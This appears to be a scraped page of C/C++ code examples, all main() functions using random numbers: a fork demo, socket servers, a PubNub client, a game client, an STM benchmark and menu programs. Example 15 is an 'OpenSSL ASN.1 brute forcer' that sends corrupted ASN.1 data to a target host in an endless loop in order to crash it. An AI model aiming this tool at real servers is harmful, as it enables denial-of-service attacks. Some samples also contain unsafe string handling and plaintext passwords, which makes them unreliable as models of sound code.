				int cpu= sched_getcpu();
				printf ("modifying mem %d %s %d  \n",omp_get_num_threads(), aff, cpu );
				#pragma omp parallel  
				{
					for (int i = 0; i < N; i++) {
						int index= rand() % M ;
						A[index] += 1;
					}
				}
			}
			}
   
             /**
              
              */
              
            //printf("CHILD: Sleeping for 1 second...\n");
            //sleep(1); /* sleep for 1 second */
            //printf("CHILD: Enter an exit value (0 to 255): ");
            //scanf(" %d", &retval);
            printf("CHILD: Goodbye!\n");    
            exit(retval); /* child exits with user-provided return code */
        }
        else /* fork() returns new pid to the parent process */
        {
            printf("PARENT: I am the parent process!\n");
            printf("PARENT: Here's my PID: %d\n", getpid());
            printf("PARENT: The value of my copy of childpid is %d\n", childpid);
            printf("PARENT: I will now wait for my child to exit.\n");
            numaan=strdup("./perf numa-an ");
            sprintf(pid,"%d", childpid);
            err=strcat(numaan, pid);
            printf("PARENT: shell call %s.\n",numaan);
            system(numaan);
            wait(&status); /* wait for child to exit, and store its status */
            printf("PARENT: Child's exit code is: %d\n", WEXITSTATUS(status));
            printf("PARENT: Goodbye!\n");             
            exit(0);  /* parent exits */       
        }
    }
    else /* fork returns -1 on failure */
    {
        perror("fork"); /* display error message */
        exit(0); 
    }
}
Esempio n. 15
0
int main(int argc, char *argv[])
{
	struct sockaddr_in addr;
	int s, port = 0, first = 1, len;
	char *host = NULL;
	unsigned int seed;
	struct timeval tv;

	printf("OpenSSL ASN.1 brute forcer (Syzop/2003)\n\n");
	
	if (argc != 3) {
		fprintf(stderr, "Use: %s [ip] [port]\n", argv[0]);
		exit(1);
	}

	host = argv[1];
	port = atoi(argv[2]);
	if ((port < 1) || (port > 65535)) {
		fprintf(stderr, "Port out of range (%d)\n", port);
		exit(1);
	}

	gettimeofday(&tv, NULL);
	seed = (getpid() ^ tv.tv_sec) + (tv.tv_usec * 1000);

	printf("seed = %u\n", seed);
	srand(seed);

	memset(&addr, 0, sizeof(addr));


	signal(SIGPIPE, SIG_IGN); /* Ignore SIGPIPE */

while(1)
{

	if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		fprintf(stderr, "Socket error: %s\n", strerror(errno));
		exit(EXIT_FAILURE);
	}
	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	addr.sin_addr.s_addr = inet_addr(host);
	if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
		fprintf(stderr, "Unable to connect: %s\n", strerror(errno));
		if (!first)
			diffit();
		exit(EXIT_FAILURE);
	}
	first = 0;
	printf("."); fflush(stdout);

	len = send_hello();
	write(s, buf, len);
	len = send_crap();
	corruptor(buf, len);
	write(s, buf, len);
	usleep(1000); /* wait.. */
	close(s);
}
	
	exit(EXIT_SUCCESS);
}
Esempio n. 16
0
int main(int argc, char **argv)
{

	//Comprobamos parámetros
	if(argc!=2)
	{
		fprintf(stderr,"Uso: %s <puerto>\n",argv[0]);
		return EXIT_FAILURE;
	}


	//Variables para sockets y demás historias
	struct sockaddr_in cliente, servidor;
	unsigned int puerto;
	int sd, nuevo_sd, salir, longitud;
	socklen_t tam_sockcliente = sizeof(cliente);
	char comando[5], buffer[255];
	mi_cabecera cabecera;

	//Cogemos los parámetros
	puerto = atoi(argv[1]);	

	//Semilla aleatoria
	srand(time(NULL));

	//Apertura y configuración del socket
	if ((sd = socket (AF_INET, SOCK_STREAM, 0))<0)
	{
		perror("Error abriendo socket");
		return EXIT_FAILURE;
	}

	servidor.sin_family = AF_INET;
	servidor.sin_addr.s_addr = INADDR_ANY;
	servidor.sin_port = htons(puerto);

	if (bind ( sd, (struct sockaddr *)&servidor, sizeof (servidor) ) <0)
	{
		perror("Error en la funcion bind");
		return EXIT_FAILURE;
	}

	if (listen ( sd, MAX_CONEXIONES )<0)
	{
		perror("Error en la funcion listen");
		return EXIT_FAILURE;
	}


	printf("\nServidor TCP listo para procesar las peticiones.\n\n");

	salir = 0;

	//Bucle para procesar las solicitudes
	while (!salir)
	{

		if ((nuevo_sd = accept(sd, (struct sockaddr*)&cliente, &tam_sockcliente))<0)
		{
			perror("Error aceptando solicitud");
			return EXIT_FAILURE;
		}

		//Recibo el comando
		if ((longitud = recv(nuevo_sd, (char*)&comando, 5, MSG_PEEK)) < 0 )
		{
			perror("Error recibiendo la peticion");
			return EXIT_FAILURE;
		}

		// ¿Acabamos?
		if(strncasecmp(comando,"fin",3)==0)
		{
			printf("\tRecibido el comando fin. Finalizando...\n");

			if (shutdown(nuevo_sd, SHUT_RDWR)<0 || close(sd)<0)
			{
				perror("Error cerrando la conexion");
				return EXIT_FAILURE;
			}

			salir=1;
		}
		else if (strncasecmp(comando,"frase",5)==0) //¿Envio frase?
		{

			//Recibo el paquete completo
			if (recv(nuevo_sd, (char*)&cabecera, sizeof(cabecera), 0) < 0)
			{
				perror("Error recibiendo datos: ");
				return EXIT_FAILURE;
			}

			cabecera.nombre[cabecera.longitud] = 0;

			longitud = sprintf(buffer,frases[rand()%NFRASES],cabecera.nombre);
			buffer[longitud]='\0';

			//Envio
			if (sendto(nuevo_sd, buffer, longitud, 0, (struct sockaddr*)&cliente, sizeof(cliente) ) < 0 )
			{
				perror("Error enviando respuesta");
				return EXIT_FAILURE;
			}

			printf("Enviado:\n%s\n",buffer);

			if (shutdown(nuevo_sd, SHUT_RDWR)<0)
			{
				perror("Error cerrando la conexion");
				return EXIT_FAILURE;
			}
		}
		else
		{
			printf("\tNo entiendo el comando \"%s\".\n",comando);

			if (shutdown(nuevo_sd, SHUT_RDWR)<0)
			{
				perror("Error cerrando la conexion");
				return EXIT_FAILURE;
			}
		}
	}

	return EXIT_SUCCESS;
}
int main()
{
    /* This is a widely use channel, something should happen there
       from time to time
    */
    char const *chan = "hello_world";
    pubnub_t *pbp = pubnub_alloc();
    if (NULL == pbp) {
        printf("Failed to allocate Pubnub context!\n");
        return -1;
    }

    pubnub_init(pbp, "demo", "demo");
    srand((unsigned)time(NULL));

    /* Using non-blocking I/O is essential, otherwise waiting for 
        incoming data will block! We recommend you not enable verbose
        debugging, as it will be filled up with tracing.
    */
    pubnub_set_non_blocking_io(pbp);

    puts("--------------------------");
    puts("Subscribe loop starting...");
    puts("--------------------------");

    for (;;) {
        time_t t = time(NULL);
        bool stop = false;
        enum pubnub_res res = pubnub_subscribe(pbp, chan, NULL);
        if (res != PNR_STARTED) {
            printf("pubnub_subscribe() returned unexpected: %d\n", res);
            break;;
        }

        /* Don't await here, 'cause it will loop until done */
        while (!stop) {
            res = pubnub_last_result(pbp);
            if (res == PNR_STARTED) {
                /* Here we simulate the "get out of subscribe loop"
                   external signal with a random number. Basically,
                   this has a 4% chance of stopping the wait every
                   second.
                */
                if (time(NULL) != t) {
                    stop = (rand() % 25) == 3;
                    t = time(NULL);
                }
            }
            else {
                if (PNR_OK == res) {
                    puts("Subscribed! Got messages:");
                    for (;;) {
                        char const *msg = pubnub_get(pbp);
                        if (NULL == msg) {
                            break;
                        }
                        puts(msg);
                    }
                }
                else {
                    printf("Subscribing failed with code: %d\n", res);
                }
                break;
            }
        }
        if (stop) {
            puts("---------------------------");
            puts("Cancelling the Subscribe...");
            puts("---------------------------");
            pubnub_cancel(pbp);

            /* Now it's OK to await, since we don't have anything else
               to do
            */
            pubnub_await(pbp);
            break;
        }
    }


    /* We're done */
    if (pubnub_free(pbp) != 0) {
        printf("Failed to free the Pubnub context `pbp`\n");
    }

    puts("Pubnub cancel subscribe sync demo over.");

    return 0;
}
Esempio n. 18
0
int main(int argc, char *argv[]) {
    char *host       = NULL;
    char *renderer   = NULL;
    int   width      = 800;
    int   height     = 600;
    int   fullscreen = 0;

#ifdef EVENT_HOST
    host = EVENT_HOST;
#endif

#ifdef DEFAULT_RENDERER
    renderer = TOSTRING(DEFAULT_RENDERER);
#endif

    // GUI Environment setzt default Renderer um.
    if (getenv("GUI"))
        renderer = getenv("GUI");

#ifdef WIN32
    char *sep = strrchr(argv[0], '\\');
    if (sep) { *sep = '\0'; chdir(argv[0]); }

    // Spezialfaelle fuer Windows Screensaver Aufrufe
    if (argc == 2 && stricmp(argv[1], "/s") == 0) {
        host  = "infon.dividuum.de";
        width = 1024, height = 768, fullscreen = 1;
        goto screen_saver_start;
    } else if (argc == 3 && stricmp(argv[1], "/p") == 0) {
        exit(EXIT_SUCCESS);
    } else if (argc == 2 && strstr(argv[1], "/c:") == argv[1]) {
        die("There are no settings");
    }
#endif

    // Keine Fehler auf stderr
    opterr = 0;

    int opt; 
    while ((opt = getopt(argc, argv, ":fvx:y:r:h")) != -1) {
        switch (opt) {
            case '?': die("you specified an unknown option -%c.", optopt);
            case ':': die("missing argument to option -%c.", optopt);
            case 'r': renderer   = optarg;          break;
            case 'f': fullscreen = 1;               break;
            case 'x': width      = atoi(optarg);    break;
            case 'y': height     = atoi(optarg);    break;
            case 'h': die("usage: %s [-r <renderer>] [-f] [-x <width>] [-y <height>] [-v] [-h] <server[:port]>\n"
                          "\n"
                          " -r <renderer>    - renderer to use (sdl_gui, gl_gui, ...)\n"
                          " -x <width>       - initial screen width.\n"
                          " -y <height>      - initial screen height.\n"
                          " -f               - start in fullscreen mode.\n"
                          " -v               - display version information.\n"
                          " -h               - this help.\n"
                          "\n"
                          "<server[:port]>   - ip/hostname of an infon game server.\n"
                          "                    if no port is given, 1234 is used.\n", argv[0]);
            case 'v': info(); exit(EXIT_SUCCESS);
        }
    }

    switch (argc - optind) {
        case 0:  break;
        case 1:  host = argv[optind]; break;
        default: die("you specified more than one game server hostname");
    }

    if (!renderer)
        die("no renderer specified. use the '-r <renderer>' option");

#ifdef WIN32
    if (!host) {
        if (yesno("You did not specify a game server.\nConnect to 'infon.dividuum.de:1234'?"))
            host = "infon.dividuum.de";
        else
            die("You must supply the game servers hostname\n"
                "as a command line parameter.\n\n"
                "Example: 'infon.exe infon.dividuum.de'\n\n"
                "Visit http://infon.dividuum.de/ for help.");
    } 
#else
    if (!host)
        die("usage: %s [options] <server[:port]>\n"
            "see %s -h for a full list of options", argv[0], argv[0]);
#endif


#ifndef WIN32
    signal(SIGTERM, sighandler);
    signal(SIGINT,  sighandler);
    signal(SIGPIPE, SIG_IGN);
#else
screen_saver_start:
#endif

    srand(time(NULL));
    gettimeofday(&start, NULL);

    if (!renderer_init(renderer)) 
        die("cannot initialize the renderer '%s'", renderer);

    if (!renderer_open(width, height, fullscreen))
        die("cannot start the renderer '%s'. sorry", renderer);

    client_init(host);
    client_game_init();

    int lastticks = get_tick();
    while (!signal_received && !renderer_wants_shutdown() && client_is_connected()) {
        int nowticks = get_tick();
        int delta = nowticks - lastticks;

        if (nowticks < lastticks || nowticks > lastticks + 1000) {
            // Timewarp?
            lastticks = nowticks;
            continue;
        }
        lastticks = nowticks;

        // IO Lesen/Schreiben
        client_tick(delta);
        client_creature_move(delta);
        renderer_tick(game_time, delta);

        game_time += delta;
    }

    client_game_shutdown();
    client_shutdown();

    renderer_close();
    renderer_shutdown();
    return EXIT_SUCCESS; 
}
Esempio n. 19
0
int main(int argc, char **argv)
{
    struct option long_options[] = {
        // These options don't set a flag
        {"help",                      no_argument,       NULL, 'h'},
        {"alternate",                 no_argument,       NULL, 'A'},
        {"effective",                 required_argument, NULL, 'f'},
        {"duration",                  required_argument, NULL, 'd'},
        {"initial-size",              required_argument, NULL, 'i'},
        {"num-threads",               required_argument, NULL, 't'},
        {"range",                     required_argument, NULL, 'r'},
        {"seed",                      required_argument, NULL, 'S'},
        {"update-rate",               required_argument, NULL, 'u'},
        {"move-rate",                 required_argument, NULL, 'a'},
        {"snapshot-rate",             required_argument, NULL, 's'},
        {"lock-alg",                  required_argument, NULL, 'x'},
        {NULL, 0, NULL, 0}
    };

    ht_intset_t *set;
    int i, c, size;
    val_t last = 0;
    val_t val = 0;
    unsigned long reads, effreads, updates, effupds, moves, moved, snapshots,
             snapshoted, aborts, aborts_locked_read, aborts_locked_write,
             aborts_validate_read, aborts_validate_write, aborts_validate_commit,
             aborts_invalid_memory, max_retries;
    thread_data_t *data;
    pthread_t *threads;
    pthread_attr_t attr;
    barrier_t barrier;
    struct timeval start, end;
    struct timespec timeout;
    int duration = DEFAULT_DURATION;
    int initial = DEFAULT_INITIAL;
    int nb_threads = DEFAULT_NB_THREADS;
    long range = DEFAULT_RANGE;
    int seed = DEFAULT_SEED;
    int update = DEFAULT_UPDATE;
    int load_factor = DEFAULT_LOAD;
    int move = DEFAULT_MOVE;
    int snapshot = DEFAULT_SNAPSHOT;
    int unit_tx = DEFAULT_ELASTICITY;
    int alternate = DEFAULT_ALTERNATE;
    int effective = DEFAULT_EFFECTIVE;
    sigset_t block_set;

    while(1) {
        i = 0;
        c = getopt_long(argc, argv, "hAf:d:i:t:r:S:u:a:s:l:x:", long_options, &i);

        if(c == -1)
            break;

        if(c == 0 && long_options[i].flag == 0)
            c = long_options[i].val;

        switch(c) {
        case 0:
            /* Flag is automatically set */
            break;
        case 'h':
            printf("intset -- STM stress test "
                   "(linked list)\n"
                   "\n"
                   "Usage:\n"
                   "  intset [options...]\n"
                   "\n"
                   "Options:\n"
                   "  -h, --help\n"
                   "        Print this message\n"
                   "  -A, --Alternate\n"
                   "        Consecutive insert/remove target the same value\n"
                   "  -f, --effective <int>\n"
                   "        update txs must effectively write (0=trial, 1=effective, default=" XSTR(DEFAULT_EFFECTIVE) ")\n"
                   "  -d, --duration <int>\n"
                   "        Test duration in milliseconds (0=infinite, default=" XSTR(DEFAULT_DURATION) ")\n"
                   "  -i, --initial-size <int>\n"
                   "        Number of elements to insert before test (default=" XSTR(DEFAULT_INITIAL) ")\n"
                   "  -t, --thread-num <int>\n"
                   "        Number of threads (default=" XSTR(DEFAULT_NB_THREADS) ")\n"
                   "  -r, --range <int>\n"
                   "        Range of integer values inserted in set (default=" XSTR(DEFAULT_RANGE) ")\n"
                   "  -S, --seed <int>\n"
                   "        RNG seed (0=time-based, default=" XSTR(DEFAULT_SEED) ")\n"
                   "  -u, --update-rate <int>\n"
                   "        Percentage of update transactions (default=" XSTR(DEFAULT_UPDATE) ")\n"
                   "  -a , --move-rate <int>\n"
                   "        Percentage of move transactions (default=" XSTR(DEFAULT_MOVE) ")\n"
                   "  -s , --snapshot-rate <int>\n"
                   "        Percentage of snapshot transactions (default=" XSTR(DEFAULT_SNAPSHOT) ")\n"
                   "  -l , --load-factor <int>\n"
                   "        Ratio of keys over buckets (default=" XSTR(DEFAULT_LOAD) ")\n"
                   "  -x, --unit-tx (default=1)\n"
                   "        Use unit transactions\n"
                   "        0 = non-protected,\n"
                   "        1 = normal transaction,\n"
                   "        2 = read unit-tx,\n"
                   "        3 = read/add unit-tx,\n"
                   "        4 = read/add/rem unit-tx,\n"
                   "        5 = all recursive unit-tx,\n"
                   "        6 = harris lock-free\n"
                  );
            exit(0);
        case 'A':
            alternate = 1;
            break;
        case 'f':
            effective = atoi(optarg);
            break;
        case 'd':
            duration = atoi(optarg);
            break;
        case 'i':
            initial = atoi(optarg);
            break;
        case 't':
            nb_threads = atoi(optarg);
            break;
        case 'r':
            range = atol(optarg);
            break;
        case 'S':
            seed = atoi(optarg);
            break;
        case 'u':
            update = atoi(optarg);
            break;
        case 'a':
            move = atoi(optarg);
            break;
        case 's':
            snapshot = atoi(optarg);
            break;
        case 'l':
            load_factor = atoi(optarg);
            break;
        case 'x':
            unit_tx = atoi(optarg);
            break;
        case '?':
            printf("Use -h or --help for help\n");
            exit(0);
        default:
            exit(1);
        }
    }

    assert(duration >= 0);
    assert(initial >= 0);
    assert(nb_threads > 0);
    assert(range > 0 && range >= initial);
    assert(update >= 0 && update <= 100);
    assert(move >= 0 && move <= update);
    assert(snapshot >= 0 && snapshot <= (100-update));
    assert(load_factor >= 1);

    printf("Set type     : hash table\n");
    printf("Duration     : %d\n", duration);
    printf("Initial size : %d\n", initial);
    printf("Nb threads   : %d\n", nb_threads);
    printf("Value range  : %ld\n", range);
    printf("Seed         : %d\n", seed);
    printf("Update rate  : %d\n", update);
    printf("Load factor  : %d\n", load_factor);
    printf("Move rate    : %d\n", move);
    printf("Update rate  : %d\n", update);
    printf("Lock alg.    : %d\n", unit_tx);
    printf("Alternate    : %d\n", alternate);
    printf("effective    : %d\n", effective);
    printf("Type sizes   : int=%d/long=%d/ptr=%d/word=%d\n",
           (int)sizeof(int),
           (int)sizeof(long),
           (int)sizeof(void *),
           (int)sizeof(uintptr_t));

    timeout.tv_sec = duration / 1000;
    timeout.tv_nsec = (duration % 1000) * 1000000;

    if ((data = (thread_data_t *)malloc(nb_threads * sizeof(thread_data_t))) == NULL) {
        perror("malloc");
        exit(1);
    }
    if ((threads = (pthread_t *)malloc(nb_threads * sizeof(pthread_t))) == NULL) {
        perror("malloc");
        exit(1);
    }

    if (seed == 0)
        srand((int)time(0));
    else
        srand(seed);

    maxhtlength = (unsigned int) initial / load_factor;
    set = ht_new();

    stop = 0;

    /* Populate set */
    printf("Adding %d entries to set\n", initial);
    i = 0;
    //maxhtlength = (int) (initial / load_factor);
    while (i < initial) {
        val = (rand() % range) + 1;
        if (ht_add(set, val, 0)) {
            last = val;
            i++;
        }
    }
    size = ht_size(set);
    printf("Set size     : %d\n", size);
    printf("Bucket amount: %d\n", maxhtlength);
    printf("Load         : %d\n", load_factor);

    /* Access set from all threads */
    barrier_init(&barrier, nb_threads + 1);
    pthread_attr_init(&attr);
    pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
    for (i = 0; i < nb_threads; i++) {
        printf("Creating thread %d\n", i);
        data[i].first = last;
        data[i].range = range;
        data[i].update = update;
        data[i].load_factor = load_factor;
        data[i].move = move;
        data[i].snapshot = snapshot;
        data[i].unit_tx = unit_tx;
        data[i].alternate = alternate;
        data[i].effective = effective;
        data[i].nb_add = 0;
        data[i].nb_added = 0;
        data[i].nb_remove = 0;
        data[i].nb_removed = 0;
        data[i].nb_move = 0;
        data[i].nb_moved = 0;
        data[i].nb_snapshot = 0;
        data[i].nb_snapshoted = 0;
        data[i].nb_contains = 0;
        data[i].nb_found = 0;
        data[i].nb_aborts = 0;
        data[i].nb_aborts_locked_read = 0;
        data[i].nb_aborts_locked_write = 0;
        data[i].nb_aborts_validate_read = 0;
        data[i].nb_aborts_validate_write = 0;
        data[i].nb_aborts_validate_commit = 0;
        data[i].nb_aborts_invalid_memory = 0;
        data[i].max_retries = 0;
        data[i].seed = rand();
        data[i].set = set;
        data[i].barrier = &barrier;
        if (pthread_create(&threads[i], &attr, test, (void *)(&data[i])) != 0) {
            fprintf(stderr, "Error creating thread\n");
            exit(1);
        }
    }
    pthread_attr_destroy(&attr);

    /* Start threads */
    barrier_cross(&barrier);

    printf("STARTING...\n");
    gettimeofday(&start, NULL);
    if (duration > 0) {
        nanosleep(&timeout, NULL);
    } else {
        sigemptyset(&block_set);
        sigsuspend(&block_set);
    }
    AO_store_full(&stop, 1);
    gettimeofday(&end, NULL);
    printf("STOPPING...\n");

    /* Wait for thread completion */
    for (i = 0; i < nb_threads; i++) {
        if (pthread_join(threads[i], NULL) != 0) {
            fprintf(stderr, "Error waiting for thread completion\n");
            exit(1);
        }
    }

    duration = (end.tv_sec * 1000 + end.tv_usec / 1000) - (start.tv_sec * 1000 + start.tv_usec / 1000);
    aborts = 0;
    aborts_locked_read = 0;
    aborts_locked_write = 0;
    aborts_validate_read = 0;
    aborts_validate_write = 0;
    aborts_validate_commit = 0;
    aborts_invalid_memory = 0;
    reads = 0;
    effreads = 0;
    updates = 0;
    effupds = 0;
    moves = 0;
    moved = 0;
    snapshots = 0;
    snapshoted = 0;
    max_retries = 0;
    for (i = 0; i < nb_threads; i++) {
        printf("Thread %d\n", i);
        printf("  #add        : %lu\n", data[i].nb_add);
        printf("    #added    : %lu\n", data[i].nb_added);
        printf("  #remove     : %lu\n", data[i].nb_remove);
        printf("    #removed  : %lu\n", data[i].nb_removed);
        printf("  #contains   : %lu\n", data[i].nb_contains);
        printf("    #found    : %lu\n", data[i].nb_found);
        printf("  #move       : %lu\n", data[i].nb_move);
        printf("  #moved      : %lu\n", data[i].nb_moved);
        printf("  #snapshot   : %lu\n", data[i].nb_snapshot);
        printf("  #snapshoted : %lu\n", data[i].nb_snapshoted);
        printf("  #aborts     : %lu\n", data[i].nb_aborts);
        printf("    #lock-r   : %lu\n", data[i].nb_aborts_locked_read);
        printf("    #lock-w   : %lu\n", data[i].nb_aborts_locked_write);
        printf("    #val-r    : %lu\n", data[i].nb_aborts_validate_read);
        printf("    #val-w    : %lu\n", data[i].nb_aborts_validate_write);
        printf("    #val-c    : %lu\n", data[i].nb_aborts_validate_commit);
        printf("    #inv-mem  : %lu\n", data[i].nb_aborts_invalid_memory);
        printf("  Max retries : %lu\n", data[i].max_retries);
        aborts += data[i].nb_aborts;
        aborts_locked_read += data[i].nb_aborts_locked_read;
        aborts_locked_write += data[i].nb_aborts_locked_write;
        aborts_validate_read += data[i].nb_aborts_validate_read;
        aborts_validate_write += data[i].nb_aborts_validate_write;
        aborts_validate_commit += data[i].nb_aborts_validate_commit;
        aborts_invalid_memory += data[i].nb_aborts_invalid_memory;
        reads += data[i].nb_contains;
        effreads += data[i].nb_contains +
                    (data[i].nb_add - data[i].nb_added) +
                    (data[i].nb_remove - data[i].nb_removed) +
                    (data[i].nb_move - data[i].nb_moved) +
                    data[i].nb_snapshoted;
        updates += (data[i].nb_add + data[i].nb_remove);
        effupds += data[i].nb_removed + data[i].nb_added + data[i].nb_moved;
        moves += data[i].nb_move;
        moved += data[i].nb_moved;
        snapshots += data[i].nb_snapshot;
        snapshoted += data[i].nb_snapshoted;
        size += data[i].nb_added - data[i].nb_removed;
        if (max_retries < data[i].max_retries)
            max_retries = data[i].max_retries;
    }
    printf("Set size      : %d (expected: %d)\n", ht_size(set), size);
    printf("Duration      : %d (ms)\n", duration);
    printf("#txs          : %lu (%f / s)\n", reads + updates + moves + snapshots , (reads + updates + moves + snapshots) * 1000.0 / duration);

    printf("#read txs     : ");
    if (effective) {
        printf("%lu (%f / s)\n", effreads, effreads * 1000.0 / duration);
        printf("  #contains   : %lu (%f / s)\n", reads, reads * 1000.0 / duration);
    } else printf("%lu (%f / s)\n", reads, reads * 1000.0 / duration);

    printf("#eff. upd rate: %f \n", 100.0 * effupds / (effupds + effreads));

    printf("#update txs   : ");
    if (effective) {
        printf("%lu (%f / s)\n", effupds, effupds * 1000.0 / duration);
        printf("  #upd trials : %lu (%f / s)\n", updates, updates * 1000.0 /
               duration);
    } else printf("%lu (%f / s)\n", updates, updates * 1000.0 / duration);

    printf("#move txs     : %lu (%f / s)\n", moves, moves * 1000.0 / duration);
    printf("  #moved      : %lu (%f / s)\n", moved, moved * 1000.0 / duration);
    printf("#snapshot txs : %lu (%f / s)\n", snapshots, snapshots * 1000.0 / duration);
    printf("  #snapshoted : %lu (%f / s)\n", snapshoted, snapshoted * 1000.0 / duration);
    printf("#aborts       : %lu (%f / s)\n", aborts, aborts * 1000.0 / duration);
    printf("  #lock-r     : %lu (%f / s)\n", aborts_locked_read, aborts_locked_read * 1000.0 / duration);
    printf("  #lock-w     : %lu (%f / s)\n", aborts_locked_write, aborts_locked_write * 1000.0 / duration);
    printf("  #val-r      : %lu (%f / s)\n", aborts_validate_read, aborts_validate_read * 1000.0 / duration);
    printf("  #val-w      : %lu (%f / s)\n", aborts_validate_write, aborts_validate_write * 1000.0 / duration);
    printf("  #val-c      : %lu (%f / s)\n", aborts_validate_commit, aborts_validate_commit * 1000.0 / duration);
    printf("  #inv-mem    : %lu (%f / s)\n", aborts_invalid_memory, aborts_invalid_memory * 1000.0 / duration);
    printf("Max retries   : %lu\n", max_retries);

    /* Delete set */
    ht_delete(set);

    free(threads);
    free(data);

    return 0;
}
Esempio n. 20
0
//right-click the project and go to "Properties"
//C/C++ Build -> Settings -> Tool Settings -> GCC C++ Compiler -> Miscellaneous -> Other Flags. Put -std=c++0x at the end
int main()
{
	int userChoice;			// IN           - User(s) menu selection
	int mainChoice;			// IN			- User(s) main menu selection
	int adminLogin;			// IN 			- User(s) admin menu selection
	menu userSelection; 	//                INPUT (ENUM TYPE).
	mainMenu mainSelection; //				  INPUT (ENUM TYPE).
	ifstream adminFile;
	adminFile.open("AdminInfo.txt");		//CALC - Opens input file
	string username;
	string password;
	string seanUsername;
	string seanPassword;
	string stevenUsername;
	string stevenPassword;
	bool validLogin;		// CALC - Checks if adminLogin is valid

	srand(time(0));
	//Creates a vector containing the stadium class
	vector<stadium> S;
	//Creates a vector containing all items avaliable to purchase
	vector<item> I;
	//initializes items;
	initializeStore(I);
	//Reads input into the vector
	readInput(S);

	getline(adminFile, stevenUsername);
	getline(adminFile, stevenPassword);
	getline(adminFile, seanUsername);
	getline(adminFile, seanPassword);

	adminFile.close();

	// FUNCTION mainChoice - This function is designed to DISPLAY
	//                           the main menu to the user(s).
		UserChoice(mainChoice, 3, 6);

		// PROCESS
		mainSelection = mainMenu(mainChoice);

		// WHILE LOOP - MAIN BODY LOOP
		while (mainChoice != EXITMAIN)
		{
			// SWITCH STATEMENT -
			switch(mainSelection)
			{
				// CASE EXIT - Exit Case.
				case EXITMAIN:
						  	  break;// END OF CASE EXIT

				// CASE STADIUMNAME
				case STADIUMFINDER:
					// FUNCTION UserMenuChoice - This function is designed to DISPLAY
					//                           the menu to the user(s).
					UserChoice(userChoice, 0, 6);

					// PROCESS
					userSelection = menu(userChoice);

					// WHILE LOOP - MAIN BODY LOOP
					while (userChoice != EXIT)
					{
						// SWITCH STATEMENT -
						switch(userSelection)
						{
							// CASE EXIT - Exit Case.
							case EXIT:
									  	  break;// END OF CASE EXIT

							// CASE STADIUMNAME
							case STADIUMNAME:
							//SORT function to sort the vector by stadium
								OutputMLG(S, 0);
											break; // END OF CASE STADIUMNAME

							// CASE TEAMNAME
							case TEAMNAME:
								//SORT function to sort the vector by teamName
								OutputMLG(S, 1);
											break; // END OF CASE TEAMNAME

							// CASE GRASSTOP
							case GRASSTOP:
								//SORT function to sort the vector by stadium
								OutputMLG(S, 2);
											break; // END OF CASE GRASSTOP

							// CASE LEAGUETYPE
							case LEAGUETYPE:
								OutputMLG(S, 4);
											break; // END OF CASE LEAGUETYPE

							// CASE LEAGUETYPE
							case DATEOFCREATION:
								OutputMLG(S, 3);
											break; // END OF CASE LEAGUETYPE


							// CASE RANDOMSTADIUM
							case RANDOMSTADIUM:
								randomStadium(S);
											break; // END OF CASE RANDOMSTADIUM

							// CASE DEFAULT - Default case.
							default:
										break; // END OF CASE DEFAULT
						}// END OF SWITCH STATEMENT

						// FUNCTION UserChoice - This function is designed to display
						//                       and grab the menu choice from the user(s).
						UserChoice(userChoice, 0, 6);

						// PROCESS
						userSelection = menu(userChoice);

					}
				//SORT function to sort the vector by stadium
								break; // END OF CASE STADIUMNAME

				// CASE TRIPPLANNER
				case TRIPPLANNER:
					// FUNCTION - TripPlanner - Method that helps the user plan their
					//							travels, destination by destination
					tripPlanner(S);
					//SORT function to sort the vector by teamName
								break; // END OF CASE TEAMNAME

				// CASE SOUVENIRSHOP
				case SOUVENIRSHOP:
					storeMenu(I);

								break; // END OF CASE GRASSTOP

				// CASE DISTANCE MEASURE
				case DISTANCEMEASURE:
					StoryTen();
								break; // END OF CASE LEAGUETYPE

				// CASE LEAGUEVISIT
				case LEAGUEVISIT:
					LeagueVisit(S);
								break; // END OF CASE LEAGUETYPE

				// CASE ADMINLOGIN
				case ADMINLOGIN:
					if (validLogin == true)
					{
						cout << "\nYou are already logged in " << username << endl;
					}
					else
					{
						// USER INPUT - Input
						UserChoice(adminLogin, 4, 1);

						// CHECK IF USER WISHED TO PROCEED TO LOGIN
						if(adminLogin == 1)
						{

							while(validLogin == false)
							{
								cin.ignore(1000, '\n');
								cout << "\nEnter Username(Case Sensitive): ";
								getline(cin, username);


								cout << "\nEnter Password(Case Sensitive): ";
								getline(cin, password);


								if((username == seanUsername && password == seanPassword)||
								   (username == stevenUsername && password == stevenPassword))
								{
									cout << "\nWelcome " << username << endl;
									validLogin = true;
									break;
								}
								else
								{
									cout << "\nInvalid Login Information, please try again.\n";
								}
								// USER INPUT - Input
								UserChoice(adminLogin, 4, 1);

							}
						} // END OF IF STATEMENT
						adminMenu(S, I);
					}

					break; // END OF CASE LEAGUETYPE

				// CASE DEFAULT - Default case.
				default:
							break; // END OF CASE DEFAULT
			}// END OF SWITCH STATEMENT

			// FUNCTION mainChoice - This function is designed to DISPLAY
			//                           the main menu to the user(s).
			UserChoice(mainChoice, 3, 6);

			// PROCESS
			mainSelection = mainMenu(mainChoice);
		}
	readInto(S);
	return 0;
}
Esempio n. 21
0
int main()
{
	enum	 {heitao,hongtao,meihua,fangkuai}s;
	int		i,j,l,k;
	int	 a[52] = {1,2,3,4,5,6,7,8,9,10,11,12,13,1,2,3,4,5,6,7,8,9,10,11,12,13,1,2,3,4,5,6,7,8,9,10,11,12,13,1,2,3,4,5,6,7,8,9,10,11,12,13};
	int		p0[18],p1[18],p2[18];
	int 	 str[2] = {53,54};
    int	 m = 0,n = 0,t = 0;

	srand(time(NULL));
	for (k = 0; k < 52; k++) {
		for(j = 0; j < 17; j++)	{
			p0[j] = a[rand() % 52];
			m++;
			p1[j] = a[rand() % 52];
			n++;
			p2[j] = a[rand() % 52];
			t++;
		}
		if(m == 18)	{
			 
			p1[17] = str[rand() % 2];
			p2[17] = str[rand() % 2];
		}
		else if(n == 18) {
			p0[17] = str[rand() % 2];
			p2[17] = str[rand() % 2];
		}
		else if(t == 18) {
			p0[17] = str[rand() % 2];
			p1[17] = str[rand() % 2];
			}
	}
	printf("p0:");
	for(j=0;j<18;j++) {
		switch ((rand() % 52) / 13)	{
			case 0:
				printf("heitao");
				break;
			case 1:
				printf("hongtao");
				break;
			case 2:
				printf("meihua");
				break;
			case 3:
				printf("fangkuai");
				break;
		}
		printf("%d   ",p0[j]);
	}
